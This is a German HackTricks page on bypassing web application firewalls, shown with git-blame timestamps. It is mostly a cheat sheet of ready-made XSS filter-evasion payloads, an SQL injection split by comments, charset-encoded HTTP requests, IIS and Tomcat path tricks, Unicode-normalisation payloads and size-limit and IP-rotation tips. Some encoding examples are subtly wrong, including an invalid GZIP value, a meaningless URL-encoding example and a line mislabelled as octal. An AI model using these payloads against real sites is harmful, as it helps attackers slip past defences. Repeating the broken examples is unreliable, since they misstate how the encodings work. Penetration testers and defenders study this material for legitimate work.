hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

189 lines
9.9 KiB
Markdown
Raw Normal View History

2024-04-06 18:30:57 +00:00
# WAF Bypass
2022-06-22 22:03:55 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-06-22 22:03:55 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:30:57 +00:00
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-06-22 22:03:55 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Regex-Bypasses
2024-02-10 15:36:32 +00:00
Es können verschiedene Techniken verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele hierfür sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Codieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie unter [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Die folgenden Beispiele wurden aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) entnommen.
2024-04-06 18:30:57 +00:00
2022-06-22 22:03:55 +00:00
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
2024-02-10 15:36:32 +00:00
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
2024-04-06 18:30:57 +00:00
2024-02-10 15:36:32 +00:00
## Zeichencodierung
Eine gängige Methode, um Web Application Firewalls (WAFs) zu umgehen, besteht darin, die Zeichencodierung zu ändern. Dies kann dazu führen, dass die WAF die Angriffsvektoren nicht erkennt und somit den Angriff nicht blockiert.
### URL-Encoding
URL-Encoding ist eine Technik, bei der Sonderzeichen in einer URL durch eine spezielle Codierung ersetzt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprüngliche URL: `http://example.com/page?param=value`
URL-Encoding: `http://example.com/page?param%3Dvalue`
### Hex-Encoding
Hex-Encoding ist eine Methode, bei der Zeichen in Hexadezimalwerte umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: `admin`
Hex-Encoding: `61646d696e`
### Unicode-Encoding
Unicode-Encoding ist eine Technik, bei der Zeichen in Unicode-Zeichen umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: `admin`
Unicode-Encoding: `\u0061\u0064\u006d\u0069\u006e`
### HTML-Encoding
HTML-Encoding ist eine Methode, bei der Zeichen in HTML-Entitäten umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: `<script>alert('XSS')</script>`
2022-06-22 22:03:55 +00:00
2024-02-10 15:36:32 +00:00
HTML-Encoding: `&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;`
2024-02-10 15:36:32 +00:00
### Base64-Encoding
Base64-Encoding ist eine Technik, bei der Daten in eine Zeichenkette umgewandelt werden, die nur aus alphanumerischen Zeichen besteht. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
Beispiel:
Ursprünglicher Text: `admin`
Base64-Encoding: `YWRtaW4=`
### GZIP-Encoding
GZIP-Encoding ist eine Methode, bei der Daten komprimiert werden, um die Übertragungseffizienz zu verbessern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer komprimierten Form vorliegt.
Beispiel:
Ursprünglicher Text: `admin`
GZIP-Encoding: `H4sIAAAAAAAE/w==`
### Chunked-Encoding
Chunked-Encoding ist eine Technik, bei der Daten in kleinere Teile aufgeteilt werden, um die Übertragung zu erleichtern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in mehreren Teilen übertragen wird.
Beispiel:
Ursprünglicher Text: `admin`
2024-04-06 18:30:57 +00:00
Chunked-Encoding: `4\r\nadmin\r\n0\r\n\r`
```bash
2022-06-22 22:03:55 +00:00
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
2024-02-10 15:36:32 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
2022-06-22 22:03:55 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
2024-04-06 18:30:57 +00:00
## Obfuscation
2024-02-10 15:36:32 +00:00
Obfuscation ist eine Technik, bei der der Code so modifiziert wird, dass er schwer zu verstehen oder zu analysieren ist. Dies kann verwendet werden, um WAFs (Web Application Firewalls) zu umgehen, da sie den modifizierten Code möglicherweise nicht erkennen können.
Es gibt verschiedene Arten von Obfuscationstechniken, die verwendet werden können, um den Code zu verschleiern. Einige Beispiele sind:
2024-04-06 18:30:57 +00:00
* **String-Obfuscation**: Hierbei werden Zeichenketten im Code verschlüsselt oder in andere Formate umgewandelt, um sie vor der Erkennung durch WAFs zu schützen.
* **Code-Obfuscation**: Diese Technik beinhaltet die Modifikation des Codes, um ihn schwer lesbar zu machen. Dies kann durch das Hinzufügen von unnötigen Anweisungen, das Umbenennen von Variablen oder das Verwenden von verschleierten Funktionen erreicht werden.
* **Payload-Obfuscation**: Bei dieser Technik wird die schädliche Payload so modifiziert, dass sie von WAFs nicht erkannt wird. Dies kann durch das Ändern der Reihenfolge der Zeichen, das Hinzufügen von Junk-Code oder das Verwenden von verschleierten Funktionen erreicht werden.
2024-02-10 15:36:32 +00:00
Es ist wichtig zu beachten, dass Obfuscation allein nicht ausreicht, um eine WAF zu umgehen. Es sollte als Teil einer umfassenderen Angriffsstrategie verwendet werden, die auch andere Techniken wie IP-Spoofing, HTTP-Header-Manipulation und Angriffe auf Schwachstellen umfasst.
2024-04-06 18:30:57 +00:00
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
2024-04-06 18:30:57 +00:00
2024-02-10 15:36:32 +00:00
## Unicode-Kompatibilität
2024-02-10 15:36:32 +00:00
Je nach Implementierung der Unicode-Normalisierung (weitere Informationen [hier](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, den WAF umgehen und als beabsichtigte Nutzlast ausgeführt werden. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode)
2024-02-10 15:36:32 +00:00
### Beispiel
2024-04-06 18:30:57 +00:00
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
2024-04-06 18:30:57 +00:00
2024-02-10 15:36:32 +00:00
## Überschreiten von Größenbeschränkungen
2024-02-10 15:36:32 +00:00
Es ist üblich bei cloudbasierten WAFs, dass wenn die Nutzlast größer als X ist, die Anfrage nicht vom WAF überprüft wird. Du kannst das einfach nutzen, um sie zu umgehen.
2022-06-22 22:03:55 +00:00
2024-02-10 15:36:32 +00:00
### IP-Rotation
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
2022-06-22 22:03:55 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-06-22 22:03:55 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn du deine **Firma in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-04-06 18:30:57 +00:00
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teile deine Hacking-Tricks, indem du Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos sendest.**
2022-06-22 22:03:55 +00:00
</details>